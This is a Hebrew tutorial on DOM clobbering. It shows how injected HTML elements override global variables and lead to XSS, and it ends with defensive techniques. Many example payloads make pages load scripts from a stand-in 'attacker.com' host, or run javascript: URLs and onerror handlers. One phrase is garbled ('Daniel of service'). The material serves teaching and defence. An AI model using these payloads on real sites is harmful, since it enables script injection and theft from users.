שיבוש DOM - DOM Clobbering¶
גישה על שם - Named Access on Window¶
דפדפנים מספקים מנגנון שנקרא "named access on the Window object". כאשר אלמנט HTML מקבל id או name, הוא נגיש כמשתנה גלובלי:
<img id="myImage" src="photo.jpg">
<script>
console.log(myImage); // HTMLImageElement
console.log(window.myImage); // HTMLImageElement
console.log(window['myImage']); // HTMLImageElement
</script>
זה עובד גם עם name attribute:
<form name="myForm">
<input name="email" value="test@test.com">
</form>
<script>
console.log(myForm); // HTMLFormElement
console.log(document.myForm); // HTMLFormElement
console.log(myForm.email); // HTMLInputElement
console.log(myForm.email.value); // "test@test.com"
</script>
מהו שיבוש DOM - DOM Clobbering¶
שיבוש DOM מתרחש כאשר תוקף יוצר אלמנטי HTML עם id או name שדורסים משתנים גלובליים או תכונות של אובייקטים קיימים. זה מאפשר לשנות התנהגות של קוד JavaScript בלי להזריק סקריפטים.
<!-- קוד לגיטימי שמצפה לאובייקט config -->
<script>
// אם config לא הוגדר, השתמש בערך ברירת מחדל
let analyticsUrl = window.config || '/default/analytics.js';
let s = document.createElement('script');
s.src = analyticsUrl;
document.body.appendChild(s);
</script>
<!-- תוקף מזריק: -->
<a id="config" href="https://attacker.com/evil.js"></a>
כש-JavaScript מבצע window.config, הוא מקבל את אלמנט ה-<a>. כש-<a> מומר למחרוזת (דרך toString()), הוא מחזיר את ערך ה-href.
שיבוש עם אלמנטים שונים¶
אלמנט a¶
<a> הוא האלמנט הכי שימושי ל-clobbering כי toString() שלו מחזיר את ה-href:
<a id="url" href="https://attacker.com/evil.js"></a>
<script>
console.log(url); // HTMLAnchorElement
console.log(url.toString()); // "https://attacker.com/evil.js"
console.log(url + ''); // "https://attacker.com/evil.js"
console.log(`${url}`); // "https://attacker.com/evil.js"
</script>
אלמנט area¶
<area> עובד בצורה דומה ל-<a>:
<map name="test"><area id="url" href="https://attacker.com/"></map>
<script>
console.log(`${url}`); // "https://attacker.com/"
</script>
אלמנט form עם input¶
<form id="config">
<input name="apiUrl" value="https://attacker.com/api">
<input name="debug" value="true">
</form>
<script>
console.log(config.apiUrl.value); // "https://attacker.com/api"
console.log(config.debug.value); // "true"
</script>
שיבוש דו-רמתי - Two-Level Clobbering¶
שיבוש עם collections¶
כאשר יש מספר אלמנטים עם אותו id, הדפדפן יוצר HTMLCollection:
<a id="config"></a>
<a id="config" name="apiUrl" href="https://attacker.com/"></a>
<script>
console.log(config); // HTMLCollection [a, a]
console.log(config.apiUrl); // HTMLAnchorElement (השני)
console.log(`${config.apiUrl}`); // "https://attacker.com/"
</script>
זה מאפשר שיבוש דו-רמתי: window.config.apiUrl -> מחרוזת.
שיבוש עם form¶
<form id="config">
<input name="apiUrl">
<input name="debug">
</form>
<script>
console.log(config); // HTMLFormElement
console.log(config.apiUrl); // HTMLInputElement
console.log(config.debug); // HTMLInputElement
</script>
שלוש רמות עם form ו-collection¶
<form id="config" name="config">
<input name="api" value="test">
</form>
<form id="config">
</form>
<script>
// config -> HTMLCollection
// config[0] -> HTMLFormElement (הראשון)
// config[0].api -> HTMLInputElement
// config[0].api.value -> "test"
</script>
שיבוש toString ו-valueOf¶
דריסת toString¶
אלמנט <a> כבר דורס toString() - הוא מחזיר href. אפשר לנצל את זה:
<a id="someVar" href="javascript:alert(1)"></a>
<script>
// קוד פגיע שמשתמש ב-someVar כמחרוזת
if (typeof someVar !== 'undefined') {
location = someVar; // toString() מחזיר "javascript:alert(1)"
}
</script>
שרשרת prototype clobbering¶
<form id="x" tabindex="0">
<input name="toString" value="alert(1)">
</form>
<script>
// x.toString() -> HTMLInputElement (לא פונקציה!)
// זה יגרום לשגיאה, לא להרצת קוד
// אבל אפשר לנצל את זה כדי לשבש לוגיקה
try {
let str = x + ''; // TypeError: Cannot convert object to primitive value
} catch(e) {
// הקוד נכשל - דניאל של שירות
}
</script>
שיבוש ל-XSS¶
תרחיש 1: דריסת כתובת URL¶
<!-- קוד פגיע -->
<script>
window.onload = function() {
let defaultUrl = window.defaultConfig || {};
let analyticsUrl = defaultUrl.url || '/analytics/track.js';
let s = document.createElement('script');
s.src = analyticsUrl;
document.body.appendChild(s);
};
</script>
<!-- הזרקת התוקף -->
<a id="defaultConfig"></a>
<a id="defaultConfig" name="url" href="https://attacker.com/evil.js"></a>
תהליך:
1. window.defaultConfig מחזיר HTMLCollection (שני אלמנטי <a>)
2. defaultUrl.url מחזיר את האלמנט השני (עם name="url")
3. analyticsUrl מומר למחרוזת -> "https://attacker.com/evil.js"
4. סקריפט זדוני נטען
תרחיש 2: דריסת אובייקט תצורה¶
<!-- קוד פגיע -->
<script>
let config = window.appConfig || {};
if (config.enableLogging) {
document.write('<div>' + config.logEndpoint + '</div>');
}
</script>
<!-- הזרקת התוקף -->
<form id="appConfig">
<input name="enableLogging" value="1">
<img name="logEndpoint" src="x" onerror="alert(1)">
</form>
תרחיש 3: דריסת בדיקת אבטחה¶
<!-- קוד פגיע -->
<script>
if (typeof DOMPurify === 'undefined') {
// DOMPurify לא נטען, השתמש ב-fallback
element.innerHTML = userInput; // לא בטוח!
} else {
element.innerHTML = DOMPurify.sanitize(userInput);
}
</script>
<!-- הזרקת התוקף - שיבוש DOMPurify -->
<img id="DOMPurify" src="x">
עכשיו typeof DOMPurify הוא 'object' (לא 'undefined'), אבל DOMPurify.sanitize לא קיימת, ויגרום לשגיאה. התוקף צריך לחשוב על דרך אחרת.
תרחישי ניצול בעולם האמיתי¶
Gmail - שיבוש אובייקט הגדרות¶
<!-- דוגמה מבוססת על חולשה אמיתית -->
<a id="GLOBALS"></a>
<a id="GLOBALS" name="config" href="https://attacker.com/"></a>
<!-- הקוד הפגיע ב-Gmail השתמש ב-window.GLOBALS.config -->
אתרי WordPress - שיבוש wp.config¶
שיבוש של document properties¶
ניתן לשבש גם תכונות של document:
<!-- דריסת document.cookie -->
<form name="cookie">test</form>
<script>
console.log(document.cookie); // HTMLFormElement (לא עוגיות!)
</script>
<!-- דריסת document.body -->
<img name="body" src="x">
<script>
console.log(document.body); // HTMLImageElement (לא body!)
</script>
<!-- דריסת document.forms -->
<img name="forms" src="x">
<script>
console.log(document.forms); // HTMLImageElement
</script>
דוגמאות שיבוש צעד אחר צעד¶
דוגמה מלאה: מ-injection ל-XSS¶
מצב התחלתי:
- יש injection point שמאפשר HTML אבל לא סקריפטים (DOMPurify)
- קוד JavaScript בדף משתמש ב-window.config
שלב 1: סקירת הקוד הפגיע
let config = window.config;
if (config) {
let s = document.createElement('script');
s.src = config; // toString() על האלמנט
document.head.appendChild(s);
}
שלב 2: הזרקת אלמנט clobbering
<a id="config" href="https://attacker.com/evil.js"></a>
(עובר DOMPurify כי אין סקריפט או event handler)
שלב 3: הקוד מתבצע
window.config -> HTMLAnchorElement
config מומר למחרוזת -> "https://attacker.com/evil.js"
סקריפט זדוני נטען -> XSS!
דוגמה עם דריסת תנאי¶
קוד פגיע:
if (!window.isInitialized) {
eval(window.initCode || 'console.log("init")');
}
payload:
<!-- לא דורסים isInitialized כדי שהתנאי יתקיים -->
<a id="initCode" href="javascript:alert(document.domain)"></a>
תוצאה:
window.isInitialized -> undefined (לא דרסנו)
!undefined -> true (התנאי מתקיים)
window.initCode -> HTMLAnchorElement
toString() -> "javascript:alert(document.domain)"
eval("javascript:alert(document.domain)") -> alert!
הגנה¶
שימוש בהגדרות מפורשות¶
// רע - נגיש לשיבוש
if (window.config) { ... }
// טוב - הגדרה מפורשת עם let/const
let config = { apiUrl: '/api', debug: false };
// window.config עדיין יכול להיות משובש,
// אבל config (בטווח הפונקציה) לא
בדיקת סוג¶
// בדיקה שהערך הוא מהסוג הנכון
let config = window.appConfig;
if (config && typeof config === 'object' && !(config instanceof HTMLElement)) {
// config הוא אובייקט JavaScript רגיל ולא אלמנט DOM
}
שימוש ב-Object.hasOwn¶
// בדיקה שהתכונה שייכת לאובייקט ולא לפרוטוטייפ
if (Object.hasOwn(window, 'config') && typeof window.config === 'object') {
// ...
}
CSP כשכבת הגנה נוספת¶
גם אם תוקף מצליח לשבש DOM ולטעון סקריפט, CSP חזק יחסום אותו.
מניעת clobbering עם Object.freeze¶
// הקפאת אובייקטים קריטיים לפני שהם ניתנים לשיבוש
const CONFIG = Object.freeze({
apiUrl: '/api/v1',
debug: false
});
window.CONFIG = CONFIG;
סיכום¶
שיבוש DOM הוא טכניקת תקיפה שמנצלת את המנגנון של named access בדפדפנים. היא מאפשרת לתוקף לשנות ערכי משתנים גלובליים באמצעות הזרקת HTML בלבד, בלי צורך בהזרקת סקריפטים. הטכניקה שימושית במיוחד כאשר CSP או סניטייזר מונעים הזרקת סקריפטים ישירה, אבל מאפשרים HTML בסיסי.